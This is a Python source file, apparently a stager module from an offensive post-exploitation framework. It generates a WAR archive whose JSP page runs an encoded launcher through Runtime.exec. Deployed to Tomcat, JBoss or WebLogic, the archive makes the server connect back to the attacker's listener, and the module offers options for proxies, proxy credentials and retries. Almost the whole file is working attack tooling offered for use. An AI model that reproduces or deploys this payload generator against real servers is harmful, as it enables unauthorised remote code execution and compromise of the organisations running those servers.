128 lines
4.5 KiB
Python
128 lines
4.5 KiB
Python
from lib.common import helpers
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import zipfile
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import StringIO
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class Stager:
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def __init__(self, mainMenu, params=[]):
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self.info = {
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'Name': 'WAR',
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'Author': ['Andrew @ch33kyf3ll0w Bonstrom'],
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'Description': ('Generates a Deployable War file.'),
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'Comments': [
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'You will need to deploy the WAR file to activate. Great for interfaces that accept a WAR file such as Apache Tomcat, JBoss, or Oracle Weblogic Servers.'
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]
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}
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# any options needed by the stager, settable during runtime
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self.options = {
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# format:
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# value_name : {description, required, default_value}
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'Listener' : {
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'Description' : 'Listener to generate stager for.',
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'Required' : True,
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'Value' : ''
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},
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'StagerRetries' : {
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'Description' : 'Times for the stager to retry connecting.',
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'Required' : False,
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'Value' : '0'
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},
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'AppName' : {
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'Description' : 'Name for the .war/.jsp. Defaults to listener name.',
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'Required' : False,
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'Value' : ''
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},
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'OutFile' : {
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'Description' : 'File to write .war to.',
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'Required' : True,
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'Value' : ''
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},
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'UserAgent' : {
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'Description' : 'User-agent string to use for the staging request (default, none, or other).',
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'Required' : False,
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'Value' : 'default'
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},
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'Proxy' : {
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'Description' : 'Proxy to use for request (default, none, or other).',
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'Required' : False,
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'Value' : 'default'
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},
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'ProxyCreds' : {
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'Description' : 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).',
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'Required' : False,
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'Value' : 'default'
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}
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}
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# save off a copy of the mainMenu object to access external functionality
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# like listeners/agent handlers/etc.
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self.mainMenu = mainMenu
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for param in params:
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# parameter format is [Name, Value]
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option, value = param
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if option in self.options:
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self.options[option]['Value'] = value
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def generate(self):
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# extract all of our options
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listenerName = self.options['Listener']['Value']
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appName = self.options['AppName']['Value']
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userAgent = self.options['UserAgent']['Value']
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proxy = self.options['Proxy']['Value']
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proxyCreds = self.options['ProxyCreds']['Value']
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stagerRetries = self.options['StagerRetries']['Value']
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# appName defaults to the listenername
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if appName == "":
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appName = listenerName
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# generate the launcher code
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launcher = self.mainMenu.stagers.generate_launcher(listenerName, encode=True, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds, stagerRetries=stagerRetries)
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if launcher == "":
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print helpers.color("[!] Error in launcher command generation.")
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return ""
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else:
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# .war manifest
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manifest = "Manifest-Version: 1.0\r\nCreated-By: 1.6.0_35 (Sun Microsystems Inc.)\r\n\r\n"
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# Create initial JSP and Web XML Strings with placeholders
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jspCode = '''<%@ page import="java.io.*" %>
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<%
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Process p=Runtime.getRuntime().exec("'''+str(launcher)+'''");
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%>
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'''
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# .xml deployment config
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wxmlCode = '''<?xml version="1.0"?>
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<!DOCTYPE web-app PUBLIC
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"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
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"http://java.sun.com/dtd/web-app_2_3.dtd">
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<web-app>
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<servlet>
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<servlet-name>%s</servlet-name>
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<jsp-file>/%s.jsp</jsp-file>
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</servlet>
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</web-app>
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''' %(appName, appName)
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# build the in-memory ZIP and write the three files in
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warFile = StringIO.StringIO()
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zipData = zipfile.ZipFile(warFile, 'w', zipfile.ZIP_DEFLATED)
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zipData.writestr("META-INF/MANIFEST.MF", manifest)
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zipData.writestr("WEB-INF/web.xml", wxmlCode)
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zipData.writestr(appName + ".jsp", jspCode)
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zipData.close()
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return warFile.getvalue()
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